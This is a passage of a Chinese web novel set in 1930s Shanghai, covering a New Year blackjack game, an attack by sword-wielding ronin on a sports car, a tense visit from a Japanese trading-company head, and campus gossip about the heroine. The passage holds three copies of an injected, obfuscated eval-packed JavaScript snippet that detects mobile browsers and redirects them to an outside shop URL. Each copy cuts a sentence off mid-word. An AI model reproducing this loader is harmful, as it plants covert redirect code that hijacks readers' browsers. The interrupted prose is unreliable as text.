大年初一早上,她还是一不小心睡过了头,醒来时快十点了。楼下已经坐满了来拜年的人,欢声笑语、好不热闹,按理说应该开几桌麻将,但薛莲山偏不遂他们的意,只准备了几副扑克牌,让年轻的少爷小姐们玩;老东西全在沙发上乖乖挤成一排,吃点瓜子糖果,把去年的账跟他掰扯清楚。 金雪池不愿意当着外人的面出去,但看架势他们一时半会儿走不了,自己又非得洗漱、梳头不可,犹豫片刻,低着头冲进了盥洗室。准备冲回房时,被邵子骏逮了个正着。他一点儿小女孩的心思都体察不到,把她拽到牌桌上去了。 桌上除了邵子骏以外,还有一位细眉细眼的小姐和一位黑壮汉.......啊,许邦尧。金雪池又迅速地瞥了两人几眼,猜这位小姐就是许邦尧的未婚妻。 许邦尧并不认识她,见邵子骏凭空拉出个女孩子,大感意外,“你好,怎么从前没见过你?你是哪一家的小姐?” 她只好避重就轻,不解释自己怎么会出现在薛公馆,“我是广东人,名叫金雪池,才来圣约翰上学。” 许邦尧果然落了她的套,“幸会。我叫许邦尧,目前也在读书;这一位是胡佩珊。” 胡佩珊朝她笑了一下。她并不好看,在姿态上却给人一种如花的感觉,那种枝枝蔓蔓盘缠着的花,纤弱而有柔韧。室内脱了大衣,露在外面的是一件雪青色羊毛开衫,很显成熟女性的韵味,使她看上去比这桌人都要大一些。 邵子骏很不耐烦他们磨磨唧唧地介绍许久,抓起牌来洗了。许邦尧也不多说,从皮夹里抽了两张纸币,一张放在自己桌边,一张压在胡佩珊茶杯底下。胡佩珊向后靠着,任他为自己出钱。两人动作之闲适、态度之默契,简直像是多年夫妻。 金雪池道:“不玩钱吧。” 胡佩珊轻声说:“大过年的,添个彩头。金小姐零花钱不够吗?我们也就意思意思,十块的底注。” 真是“意思意思”,十块够普通人生活一个月了。金雪池本来没有在棋牌游戏里欺负业余者的爱好,但她手上是真的只剩六块的现金了,倘若输的话,连底注都凑不够。主动找薛莲山要钱是不可能的。既然这些少爷小姐愿意玩,从他们手里赢一点倒也无妨。 她说:“我可以当庄家吗?” 许邦尧张了张口,想提醒她一般是东道主当庄家,现在在薛公馆里,就邵子骏最能算是东道主;然而胡佩珊一个轻飘飘的眼风过来,他把嘴闭上了。邵子骏一把将牌搡给她,完全认同金雪池是薛公馆里的东道主。 “好,谢谢。玩什么?” “黑杰克,金小姐听说过吗?” 金雪池一点头,顺时针给每人发了两张牌,一明一暗。亮牌之前,许邦尧提醒她:“金小姐,你还没押底注。” “哦,你们记着就可以了,我的钱在楼上,结束后就去取。” 于是众人依次亮牌:邵子骏的明牌是方片八,许邦尧是黑桃K,胡佩珊是梅花二。她的明牌是红心三,暗牌是黑桃九。 邵子骏追加赌注至二十块,然后伸手示意要牌。要到一张黑桃六。苦于脸被绑起来了,没法说话,然而他还是一伸懒腰,发出一声极尽愉悦的哼哼声。 敢加倍下注?说明暗牌也大,总点数可能超过她,可以排除点数小于五的可能......说不准,他是个莽夫。而且他没有爆牌,暗牌又是小于等于七的。可能在五到六这个区间内。 轮到许邦尧,他要了一张牌,是方片十。只好把三张牌都翻出来:“我爆了。” 他的暗牌是红心五。 胡佩珊哧哧地望着他笑,自己倒是加倍下注,然后补了一张——黑桃四。想了想,她没再要牌。J、Q、K都算做十,她最大也就是十六,停止要牌,大概率因为她的暗牌是A——也就是所谓的“软牌”,可以算作一,也可以算十一,进可攻退可守。倘若算作一,再要一张,最大也就是十七,目前也是十七,还不如现在算作十一。 金雪池当然得要牌,要到一张方片五。唉,时运不济,卡在十七这个不尴不尬的位置。倘若继续要牌,爆牌概率大概在29/43左右,有点高,算了。 “我应该输了一大笔。”她摊开牌,余人也摊开:邵子骏正好二十一点,胡佩珊的暗牌确实是A。 第二轮发牌,邵子骏明牌是红心J,许邦尧明牌是方片四,胡佩珊明牌是黑桃七,金雪池的明牌为梅花Q、暗牌为黑桃五。 邵子骏首先就抬头看了金雪池一眼,金雪池也正在看他,又低头扫了一眼牌,笑道:“二少爷,投降保半哟。” 他的暗牌实际上是九,目前点数为十九,很大了,再加很有可能超过二十一;而金雪池目前露出来的就是十,她的牌很强势,那张没露出来的......莫不是数值也为十?毕竟这么多JQK,数值为十的可能性很大。略一思索,就那摞硬币推了一半出来,投降了。 金雪池根本就是诈他的,心里一盘算,他手头那张是九?十九点的话,对战她一个十的明牌,败率绝对不到一半。他现在让了50%的利出来,其实是很失误的决策。 接着,许邦尧要了一张梅花三,又要了一张方片六,停手了。他似乎是保守主义者,从不翻倍下注。 胡佩珊道:“我要分牌。”一边说着,一边将暗牌翻开,也是七。 所谓分牌,就是明、暗两张牌点数相同时,可选择将一手牌拆分为两局独立的牌局,同时赌注也要加一倍。金雪池心算了一下,在这一场里,分牌的胜率确实比要牌大。她正要洗牌,胡佩珊忽然又道:“慢着。” 她抬起头,和胡佩珊四目相对。胡佩珊问:“你建不建议我分牌?” “我不知道。” “你刚刚建议二少爷投降了。” “那我建议你分。” “我不分了,再要一张。” 金雪池“哦”了一声,摸出一张,正要翻面,三人又同时“哎哎哎”起来。胡佩珊回头用眼神征求许邦尧的意见,许邦尧嘴里嘟囔着:“等一下......” 他艰难地在脑子里算了起来。趁三人静默时期,金雪池去厨房端了一盘鼠壳粿出来,吃了两块,觉得太甜,又去倒了杯热水。这时候,许邦尧总算说:“分!” 金雪池问道:“你确定?算清楚了吗?” “差不多是27%。” “那么不分呢?” “这个算不出来吧。” “嗯。不过,尽管算不出来,但胜率不是随机的,概率确实存在。” “如果我不知道、你也不知道,对这牌局没有任何裨益,那么它存在与不存在并没有什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079684|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 区别。” 金雪池语气平平道:“我知道一点。” 概率确实存在,老豆说,倘若神秘使一个女人格外美的话,那么概率是我这辈子见过最美的女人。 你知道吗? 哈哈,我不知道,现在知道也不为迟。小学放暑假了吧?你来给我打杂,记录下玩家在各个点数上的胜败场数,我会让阿财、阿坤和阿奇都帮你。我也帮你,原来为了防止出千,都是八副牌混在一张桌上;现在为了避免误差太大,我混二十副牌。够意思吧? 金雪池点了点头,被骗到赌坊端茶送水一个暑假。整个暑假下来,记录了近一万场牌局的胜负,统计的时候快把她烦透了,最终得出的数据如下: 点数 净胜率 16点 -60% 17点 -52% 18点 -20% 19点 +20% 20点 +46% 21点 +73% 作为赌坊老板,金文彬对这一项实验很感兴趣,自己又统计了三个月的数据,算出来跟金雪池的数据大相径庭。父女俩坐在床沿上发呆,好几分钟的沉默后,金雪池终于挺不过内心的煎熬,缴械投降:“其实......我盯得不是很专心,总爱走神,有时候干脆跑到对街买雪糕了。可能有些错误......” “不,不不,不会这么大的差距。”金文彬在她脑瓜子上一弹,“老豆其实就是想让你锻炼锻炼,不要整天趴在床上不动,但这个环境确实少儿不宜——” “那么净胜率是随机的?” “不是,样本还不够多。”金文彬用很童稚的口吻对她说话,“要有天上的星星那么多。老豆这辈子是没耐心做成这事了!” 金雪池很嫌弃地睨了他一眼,“肉眼可见的星星不到七千颗。” “......啊?” “你不看《科学画报》吗?” 金文彬一摆手,“那么,像沙滩上的沙子一样多,行了吧?倘若有一天,有种超级机器可以帮人进行无休止的运算,把所有可能情况都囊括其中,或许就能算出来。不过统计不出来也没关系,经手的样本越大,还是越占优势。妹妹,我们打了多少牌?现在也没这种超级机器吧?对于同样的玩家来说,我们就是能赢。” 金雪池很同意他说的。譬如黑杰克里分牌这件事吧,套路由一位前辈教给金文彬,再由金文彬稍加改动、教给她,她自己又调整了一下,屡试不爽:AA必分,十十傻子才分,八八可以分,七七则要看情况——如果对方露出的明牌小于等于六,可以分,其余情况就不要。 现在是七七,分牌的胜率算出来并不低。但换作金雪池的话,她不会分。 她给胡佩珊发了两张牌,一张方片J,一张梅花K。十点实在是多。许邦尧给她出谋划策:“一个要牌,一个不要。” “不,”她说,“都不要了。” 于是轮到金雪池,她用指腹按着最上一张扑克牌,滑到掌心看了一眼,赫然一张九。 牌局越往后,金雪池赢得越多,到饭点已经赢了一百三十块。想来也是滑稽,通过正当的工作没赚到什么钱,通过玩牌却赚到了第一桶金。幸亏胡佩珊下午要走,牌局也随之而散,打断了金雪池轻易上头的瘾。 27.武士刀 这几天金雪池已经尽可能地避免出房门了,但她需要吃饭、洗漱,仍然被不少人看到。他们当面没问,背地里对于薛莲山的德行都是了然的。连着五六天,薛公馆门前的车马络绎不绝,也不知道流言能传多远。 算了,金雪池想,反正传不回广东。他对我好,我认了。 初七总算没人登门,然而还有人打电话来约吃饭。薛莲山一直记着要去试新车,一口回绝了人家,抓上金雪池就跑到了郊外去。 出城不远的时候,路的两旁都是坟茔,上了崭新的红绸、红烛,炸过后的鞭炮皮子被踩进了湿泥里。人对生死懵懵懂懂的仪式、对年节和时间茫茫然然的送迎都在其中,声光过后,唯余满地狼藉。更远的地方就找不到人的痕迹了,铅云厚重,细雨飘洒,仍未散去的硫磺、硝的气息淡淡浮在天地间。 薛莲山把窗户打开,感叹一句:“真安静。” 他们到了一片光秃秃然而严实的空地上,薛莲山就开始加速了。先是铆足力气跑直线,然后忽然拐了几个弯,先拐大的,渐渐变成直接掉头,又忽然一刹车,将车身垂直停在路边。 金雪池感觉这车一直在三百六十度转圈,一会儿推背、一会儿把她按在靠背上,然而起步稳,并不使她晕车。她伸手抓住后排的车把手,和金属外壳的震动相连通,人也跟着震起来。 “妹妹,你要是觉得无聊,可以下去走一走。” 她想和他待在一起,摇头道:“还好。” 她既然觉得不无聊,那薛莲山就开始表扬这辆车了,从它的胡桃木仪表盘多么有光泽开始夸起,夸到超宽轮胎抓地多么稳当、一点也不打滑,再到液压制动系统的制动力多么强悍,赞不绝口:“名副其实的陆地飞行器!你觉得它有什么缺陷吗?” 金雪池如实回答,“有点小,我坐着都觉得挤,好像后备箱也不能放行李。” “这是跑车,没有人在跑车上放行李箱。” “哦。” 薛莲山有点郁闷,他的原意是引金雪池说出“没有缺陷”,然后告诉她有一项世界闻名的赛事叫勒芒24小时耐力赛,布加迪这种车型就是冠军车型。 不料在着寒冷的郊外,有和他们一样出门遛弯的人。 远远地,有四个人结伴下了一辆雪佛兰,身形歪歪倒倒,似乎喝醉了;驾驶室还有一个人,也唱着乱七八糟的英文歌,没有跟下来。 金雪池想:莫说相公痴,更有痴似相公者。 薛莲山也看到这群人了,逐渐减了速,看清他们穿棉袄、宽松袴子,因为步履不稳而互相挤着走。腰间别着什么东西呢......武士刀? 他迅速摇起窗玻璃,喊道:“别下车!” 金雪池也在同时说:“趴下!” 他一脚油门踩了出去,而那四人眨眼间就闪现到车前,抽出武士刀,劈头往挡风玻璃上砸。毕竟不是专业的防弹玻璃,裂纹霎那间遍布了整块玻璃,接着应声而碎。 两旁都是树,薛莲山没法松方向盘,只得闭眼向副驾的那边一矮身,车辆还是笔直着往前越冲越快;电光火石间金雪池扶着前排座椅半站起来,伸手一挡,挡住了溅来的一块大玻璃渣。 她没吭声,抓着玻璃片重新坐回去。 薛莲山重新坐起来,然而只能坐一半,因为半边座位上都是玻璃。现在的开车体验也变差了,冬风直往驾驶室里灌,吹得他只能眯眼看路。 “手怎么了?” “没事,”金雪池大声道,“快跑!那个大车追过来了!” 薛莲山在后视镜里看了她一眼,直接一盘子绕过雪佛兰,掉头回去,直直撞向那四个浪人。有两人直接被撞飞出去了,另外两人朝两侧闪开,他又是一转向,用车尾把一人碰到地上、没有飞太远;然后倒车,轧过去、碾回来。 金雪池吓得变了调:“薛先生......” 最后一人已经爬上了雪佛兰。雪佛兰体量大得多,不能直接撞,然而追他们肯定是追不上的。薛莲山遂放弃报复,绷着脸,一路风驰电掣开回薛公馆。停稳后,他转头来拉她的手指,“我看看。” 一只纤长的手,只是中指有点歪、长了一块写字茧——更是画像上龙的一点灵睛,证明这手不是美人身上无用的装饰,还能写字、拨算盘、打骰子,活泛泛的,拥有年轻女孩的柔软和温热。掌心正在往外冒血,玻璃虽不大,但扎得深,可以看到里面的红肉。 薛莲山并不因她的义举而触动,能为他死的女孩太多了,金雪池这一点情意排不上号。他对她的反应能力和手法倒很感兴趣,没猜错的话,她手上有功夫,大概也是善于出千的。 “让宋妈给你消消毒、包扎一下,我出去一趟,回来再和你赔礼道歉。” “不用道歉,道什么歉......你去哪里?” 薛莲山没回答,只是做了个“拜拜”的手势。下午回来的时候,他的怒火就消了,拎了个小蛋糕到书房去。 邵子骏正在骚扰金雪池,他从她那里听到了事件的全部经过,一见薛莲山回来,就把一张写满了的纸举到他面前。 薛连山把纸抽走了,“你别掺和。” 邵子骏呜呜嗯嗯地表达了一大堆,大意是我能帮你,找他们闹一场。薛莲山把他推到门外,指着他的鼻子道:“上一件祸事还没完,那老头还没出院,你安分一点。行了,自己玩去,你没有事做,金小姐有事做。” 言罢,他把门关上,托起金雪池那只包扎好的手瞧了瞧。因为刚从外面回来,他的手又僵又冷,金雪池有意无意地把手指搭在他的手指上。薛莲山弯腰在纱布上吻了一吻,对她笑道:“我们现在叫‘刎颈之交’。不过你放心,刎不了第二次,我再不独自跑到荒郊野岭去,去也带家丁。这次真对不住,还疼吗?” 金雪池摇了摇头,“对方是浪人吗?” “是,威胁一下我,想要入股。”他继续摩挲着她的手指,缓缓道,“他们越是看中这个,越说明煤矿重要。除了我,在江苏,就数魏书理的矿多,日本人恨不得住到他家里去磨他。他上周搬到云南去住了,云南气候也好,四季如春。” 金雪池刚要习惯性用判断的语气说“你不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083670|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会走吧”,毕竟他好不容易才定居上海,又酷爱都市化、摩登的生活,绝不会跑到山水风光里去。然而这句话听起来有点娇嗔,紧急改口:你......要搬走吗?” “不走。”他漫不经心道,随即转移了话题,“妹妹,我有一个问题想问,不知道冒不冒昧。” “不冒昧。” 薛莲山笑了一声,“当时那么混乱,你居然挡得住玻璃。” “哦,你问这个。”金雪池说着,从抽屉里拿了一副牌出来,“我给你表演方术看。喏,我现在开始拨这一副牌,你在喜欢的位置喊停。” 她用右手钳住牌的上下端,左手拇指在一角开始一张张地往下拨,薛莲山喊“停”,她便道:“黑桃A。” 翻过来一看,果然是黑桃A。 此刻薛莲山眼里已经毫无对异性的欣赏,全是对破解方术的渴求了,夺过牌,“再来一次,我洗一洗。” 再来一次,他喊停,金雪池仍然准确地报出了牌面。他伸手要去拿,金雪池一个响指,牌在她手上消失了,接着大拇指和食指一捻,五张牌凭空出现、在指间开了花。 “哎?哎?” 金雪池把桌上剩余的牌也拿起来,闭上眼,花里胡哨一顿切,好像抻到了手掌,轻轻“嘶”了一声。随后在桌上呈弧形抹开,一一翻过来,四种花色的牌分别在一起,每种花色里面恰又是从小到大排列的。 薛莲山看上去快要爱上她了。他轻轻用手抚过一张张牌面,金雪池就在一旁道:“其实这并没有什么,如果是在赌坊,像我刚才那样洗牌,早就拉出去剁手了。扑克牌是最好控的,所以即使它传到中国,中国人还是倾向于玩牌九,控起来难得多。” “昨天你和我说,你赢了一百多......” 金雪池刚想说“那不至于”,她的技术从来只有表演性质,大场合不敢用,小场合用了不光彩,譬如成人去打襁褓里的婴儿。但转念一想,是个帮他树立正确观念的好机会,便道:“是啊。十赌九诈,不赌为赢。” 他神情复杂地走开了。其实还想缠着金雪池问她怎么做到的,但再问下去会有损薛先生的格调,还是不要为好。下到一楼,忽然又想起她刚才是不是抽了一口气,弄疼手掌了?刚才急着让她快点动,居然忘了关心一句。 第二日一早,他说要带她到大世界去玩,她正倚在盥洗室的门口梳头发,定青就跑进来通报:“有个自称铃木社长的人想见你。” 这位铃木社长就是山月商社的社长,山月商社掌握了东北的铁路资源,又贩卖武器,还经销盐、棉花、铁、煤等关键资源,和日本军方一体两面。 他身材矮小,唇上蓄着一小块长方形的胡子,进门就脱了帽。金雪池还以为他要来个日式鞠躬,谁料他握着帽子径直走到沙发边上,坐下了,朝薛莲山一伸手,“薛先生,请坐。” 薛莲山就坐下了,没说话。铃木社长道:“其实我昨天就打算来拜访你,但被耽搁住了,因为有三个同胞忽然住了院,其中一个伤势过重,已在今早离世。薛先生有什么头绪吗?” 28.铃木 薛莲山摇头道:“没有,昨天我就出去试了试新车,然后回家了。” “就是被车撞的。” 他做出恍然的神色,“是贵社中人?他们毫无缘由砸我的车,我在慌乱之中乱打方向盘,确实撞到了人。不过,我实在没料到这种以多敌少、直接动粗的行径是大日本帝国的臣民所为。” 铃木社长冷哼一声,摇头道:“他们不过是喝醉了酒,闹着玩的。我没见你受到什么伤害,但我的人切切实实受了伤害,劳烦薛先生跟我去公堂上走一趟。” “孔子曾说过一句话,‘君欲攫鸡而失粟,此非吾之过也。譬如逐兔于野,反堕阱中,岂得归咎于阱乎?盖贪念起而智昏,妄动而招辱,乃自取之果,何敢向吾索责耶’,不知道铃木社长听过没有?” 铃木社长一时半会儿没听懂这一长串文言文,仍然点了点头。 薛莲山微笑道:“那就奇怪了,是我刚才自己编的。”趁对方恼羞得说不出话来,他又紧接着问:“仕经里有句话,叫‘欲除其害,必烛其奸’,铃木社长可有听闻?” “你别诳我了!” “铃木社长还是应该多读书,这是一本中国的官经,但凡想研究为人处事之道的人都读过的。”薛莲山仍然用相当和蔼的语气说,“我现在还没有下‘行刺’的定论,已经很客气了。铃木社长还想跟我对簿公堂?背后的意图经得起深究么?” 他一出言不逊,气氛立刻就紧张了。金雪池无声地回到盥洗室里,趴在门缝上听。沙发边左一个定青,右一个邵子骏,全皱眉瞪着铃木社长。 铃木社长没料到他这么不客气,一盘算,还是不能跟他撕破脸,只道:“薛先生不要给我们扣帽子,结果摆在这里,是我的人被你所伤!我们抱着大东亚共荣的崇高目标而来,如果薛先生出言不逊,真要把私人冲突升级为外交事件了!” “可别这么升级,这是两笔账,都得算的。”他立刻道,“论外交事件,你行刺害我,第一个不‘共荣’,但凡法官大人明鉴就可以看出四个醉汉开车到荒郊野外偶遇我有多巧。论私人冲突,铃木社长,我那车加上关税有一百二十八万美元,生意人都讲诚信,你不会不赔吧?” 铃木社长霍地站起来,定青也跟着上前一步,呼出的白气恨不得喷在他脸上。他只好后退一步,“我还要去医院探望伤者,今天先告辞。后续我会发传票给你。” “慢走不送。” 薛莲山起身去拿了一根雪茄,剪茄帽的时候用力太过,震得里面的内容物都溅出几片。他重重坐回沙发上,几乎不可闻地叹了口气,按开火机,在火苗上均匀地烫了烟脚。金雪池神不知鬼不觉地出现在了沙发的另一端,隔一层薄薄的白烟瞥他,又想起自己提醒他过一次,没必要再惹人厌。 “薛先生,他会跟你打官司吗?” “不清楚。” 金雪池觉察出他有点不想说话,也闭了嘴,心里感觉很新奇:他也拿不准。在她看来,薛先生无所不能;但比起那个姓铃木的大社长,他要小二十多岁,在同阶层的人里,算很年轻的。 她正要走,忽然被薛莲山拉住了手。他看了一眼挂钟,笑道:“你把衣服换好,我们十一点出门,先去吃饭。”刚才那点烦躁的感觉转瞬即逝,好像烟云一样,轻飘飘从他脸上掠过去了。 “还出去呀?” “说好了的,为什么不?” “我以为你心情不好。” “那就更需要和你一起出门了。”他说着,捏了捏她的手。 金雪池把手抽出来,脚步飘飘地走了。现在请她吃饭她也不拒绝,要给她买东西她也不拒绝,虽然还是推三阻四,这个不想要,那个都随便。薛莲山算是看出来了,她天生物欲低,无关乎家庭环境。低物欲让她做什么都懒懒散散都提不起劲,但也有好处,她会少许多烦恼。 他自己是个高物欲的人,为了得到、维持、拓展财富,汲汲营营,患得患失,求而不得时生怨怼,得而复失时生恐惧。不过也没什么好抱怨,累便累了,他的快乐与满足也是从这过程里汲取来的。偶尔往镜子里一瞥,觉得自己像样,就会沾沾自喜;偶尔决策失误,损失一大笔,心里就痛苦得很。 本质上是自恋,自我欣赏完还是不够的,他还需要来自外界的反馈,要前辈认可,要同辈羡慕,要女人的爱。 而金雪池不需要,她是一个在角落里拼七巧板的小孩,自己和自己玩得很好。有人邀请她一起玩,有人想要加入,她统统不答应;更多的人不理解这游戏,驻足片刻又走开,议论她是个呆子,她也不理睬。直到他在她面前站定,笑眯眯地问这拼的是小房子吗? 她才抬起头,介绍说:不,你要从这个角度看,这是船。 薛莲山远远地落在后面,注视着她。销售员在热情地跟她推荐耳环款式,她咕哝着“哦”“唔”“我看看”,慢腾腾地比在耳朵边上试。 在所有来自外界的反馈中,金雪池的一抬头最令他有成就感。这话说给别人听,别人不会信,因为她一无权势、二无芳名——他跟很多千金名媛、交际花都好过,颇受上流社会的男士们羡慕。然而同金雪池在一起的时候,无需那么多目光、掌声,人一多,她就躲起来当哑巴了。最好是谁都不知道、谁都不打扰,让他和她玩一会儿,听听她的奇思妙想。 不过很可惜,就一会儿。他这人心里是没多少爱的。 金雪池忽然一回头,一双亮亮的眼睛,两池雪水。他插着兜悠悠晃过去,“看中哪一款啦?” “好像没有特别喜欢的。” “又来了。” “不过挨个儿试了试,还是挺开心的,我们走吧。” 薛莲山还倚在柜台前没有动,垂眼拨弄着她试过的一副翡翠耳环,销售员一见这架势,又见到了希望的曙光,“小姐,你要是拿不准主意,就让你先生来挑!其实这三款都很适合......” 金雪池忙乱之下,嘴上念着不用不用,直接挎上薛莲山的一条手臂把他拖出店门。 他个子高,她刚好把他一条小臂抱在怀里,且觉得这个姿势很合适,可以把全身的体重都压在这条小臂上,是攀着木架的葡萄藤。这么无知无觉地走了两步,推开玻璃门,不像是她到了门口,却像是节日的人群忽然涌到了眼前,欢声笑语、沸反盈天,吓人一跳。她触电似地松开了他。 什么时候开始,她居然会主动挽起男人的手了? 可见薛莲山这人比鸦片还能腐化人的心志......不,不能全怪他,也怪我心志薄弱。其实我都是甘愿的,唉,坏就坏在这一点上,若是被强迫的还好说呢。她又想起刚才的感觉,隔着粗呢、羊毛内衬、法兰绒衬衫等厚面料,几乎感受不到他手臂的温度,只知道沉。布料再沉也沉不到哪里去,是男性的手臂沉。 想到这里,金雪池都要脸红心跳了,立刻找话说:“这家店最贵的耳环也就一百多法币。一百二十八万美元对你来说是不是也是一笔大数字?” 薛莲山被逗笑了,“妹妹,你真看得起我。不是‘也是一笔大数字’,是巨大的数字,我现在变卖掉两座矿、加上所有现金,都买不起第二辆。” “不至于全坏了吧?” “可以修,而且上了保险。只是这么漂亮的新车买回来,第一次开出去就被砸了,我咽不下这口气。” 金雪池心想:搞半天比起我受伤,还是爱车受伤更令他心痛。不过她确实跟一百二十八万美元比不了。 “薛先生,我没有指教你的意思。不过我听父亲说过,花出去的钱要在年收入的20%以内,或者流动资产的10%以内,这个是安全范围。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087282|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“令尊是持筹握算的商人,他之前也跟我聊过怎么投资、怎么规划财务,走一步、算十步,我完全比不了。反正我也没有妻子儿女,不用考虑太多,想花就花了。” 果真是不婚主义者,今朝有酒今朝醉的。金雪池虽也不爱做计划,但她知道做计划才是最正确的事,也愿意试着做;如果有男方要把她纳入到他的计划中去,她认为这就叫“踏实可靠”。而薛莲山完全不打算对任何人负责,包括他自己。 倘若是少年这么说也就算了,不必当真,因为少年既不成熟,又爱意气用事。可他是薛先生,他这么说,是板上钉钉的郎心似铁。 她的心拧着难受,嘴上仍同他闲聊,“倘若后面没钱了呢?” “那就是后面的事了。说起这个,你知道女人为什么喜欢买奢侈品吗?” 金雪池的注意力立刻转移了,“彰显财力?” “不,有的女人没有多少钱,也愿意买对小银耳环戴着。别人看了,并不会认为她有钱,她也乐意。” “因为爱美吧。” “很多不贵的东西也美。”薛莲山笑道,“因为奢侈品——我指皮包、首饰这一类——是方便带走、又方便变现的。过去的女人并不能拥有自己的钱,拥有的只是身上穿的戴的,倘若丈夫对她们不好,她们要逃回娘家,仅能带走这些东西。所以不要说女□□买贵重物品,她们需要安全感。” “噢!” “到了现代也是一样,男人也一样。譬如我现在要逃出国,不动产肯定带不走。现金,一皮箱才装几万?黄金,装一皮箱拎都拎不动。如果还在被人追查,就更不方便带这些东西了,出逃的意图太明显。只有奢侈品,比方说这块手表,”他抬起手腕,在她面前抖了抖,“轻轻松松带出去,到了国外,找个拍卖行,几万就到手了。” 金雪池简直五体投地:“噢!那你的车可以拍卖吗?” “这涉及到另一个问题,拍卖的东西最好具有稀缺性。像首饰,一千往上走,基本都是定制款或者大师出品,独一无二,可以拍卖掉。一千的汽车却是批量生产的,没人给你拍,顶多找个中介,让他帮你找二手车买家。不过,”他很愉快地说,“我的车有几辆是限量发行的,拍得出去。” 金雪池觉得他太懂这个社会的运行规则了,她真爱听他说话! “所以送你东西,你别拒绝。”薛莲山笑眯眯道,“我毕竟是个男人,能带的奢侈品有限,就一块表而已。哪一天我的处境很危险了,你就蹬着镶钻高跟鞋、穿着云锦旗袍、背着鳄鱼皮包,头上像宫妃那样插得满满当当,手上戴七个翡翠镯子......” 金雪池笑道,“戴这么多?胳膊都打不了弯。” 他一搂她细而薄的肩膀,“......一边七个,然后跟我逃跑。跟不跟?” “不跟。” “为什么?” “你自己说了,爱花钱就花了。我不跟你走,这些东西还都是我的;我跟你走了,这些就是你起家的资本了。过去的女人觉得丈夫不好,好歹还能带着耳环跑,你要是......要是对不起我,我怎么办?” 好,厉害,刚才他刺了她一下,现在她来试他了。薛莲山把她罩在怀里,她也不挣开,一门心思要等答案。他遂低头在她耳边说:“我把我的弱点告诉你,你要不要听?听了,你总有办法制住我的。” 金雪池耳根子被他呼出的热气吹得发烫,她开始扭动,“什么......谁要制住你?我反正不跟你走,我跟你不相干。” “我这人虽多情,但也重义,可能做不了尾生,但绝不会做陈世美。”他说,“但凡你到这种关头能跟我走,我......” “‘我把你当亲娘孝敬’?” 薛莲山笑道:“差不多这意思,我把你当亲妹妹。” 29.the way you look tonight 三月初,邵子骏搬出了薛公馆,但也没回家,住到了自己在法租界蒲石路的小公馆里。惹了这么大一场祸,他消停了好一阵子,谨遵薛莲山的嘱咐,把信得过的手下都从邵子驹那里联络过来。 三月中旬,圣约翰开学,金雪池也搬回了宿舍,大衣口袋里揣着宋妈偷偷塞的七十块。她做的第一件事就是连着跑了两趟,搬了自己和孙婕霓两人份的新教材。 密斯孙下午来的时候,看到自己的教材和正在做清洁的金雪池,眼珠转了转,一屁股坐在床边,掏出香水对着积灰几月的宿舍一顿喷,同时闲闲道:“你情人是薛莲山啊?” 金雪池没说话,起劲儿地用抹布擦椅面。孙婕霓又道:“你既然非要这个钱不可,那跟他很可以了,我之前还以为是个丑老头。You know what,他在相亲市场上非常抢手,上至三十多的下至十岁出头的都盯着呢。” “他不是不结婚吗?” “没错,不过女人都会这样有一种幻想——说不定他会为了我收心改性的。”孙婕霓瞥着她的神情,话锋一转,“不问问我还知道什么?” “你还知道我见到许邦尧了。” “Exactly。他那未婚妻怎么样?” 金雪池仔细想了想,“是个行事风格激进的人,如果我没猜错的话她可能养了大型犬......” 孙婕霓不耐烦道:“我问长得怎么样?” “哦,”金雪池觑她一眼,学老实了,“还是你更好看些。” “那他们关系如何?” “......挺好的。” “唉,”孙婕霓往床上一躺,两条胳膊来回划动,喃喃道,“我想也是,他一口就回绝我了,真是好男人。” 金雪池又观察出一点:孙婕霓本人有剑走偏锋的摩登感,但对于身边的各种观念,实则海纳百川。譬如许邦尧忠诚于包办婚姻,她视为一种美德;譬如自己在她眼中是个“被包养”的人,她居然也能接受。 但其余人就没有孙婕霓这么高的接受度了,她的丑闻在学校里不胫而走,路上碰到的每个人都要指着他,对同伴轻声道:“就是她......” 圣约翰是贵族学校,这里的女学生各个是掌上明珠、人中龙凤,谁也不可能住到外男家里去;金雪池如此不检点,自然变成了一件了不得的大新闻。男生的反应更为尤甚,在教室见到她,直接当面笑着问:“密斯金怎么还住校?走读不是更方便吗?” 一时从乡邻亲戚人人赞誉的“闺秀”掉到被同学议论是“情妇”的处境上,金雪池完全接受不了,每天最后一个到教室、第一个离开,也不去图书馆学习了,上完课直接回寝,避免和任何人接触。不得不去食堂吃饭时,把头埋地很低,行走坐卧皆是如芒在背、如鲠在喉。 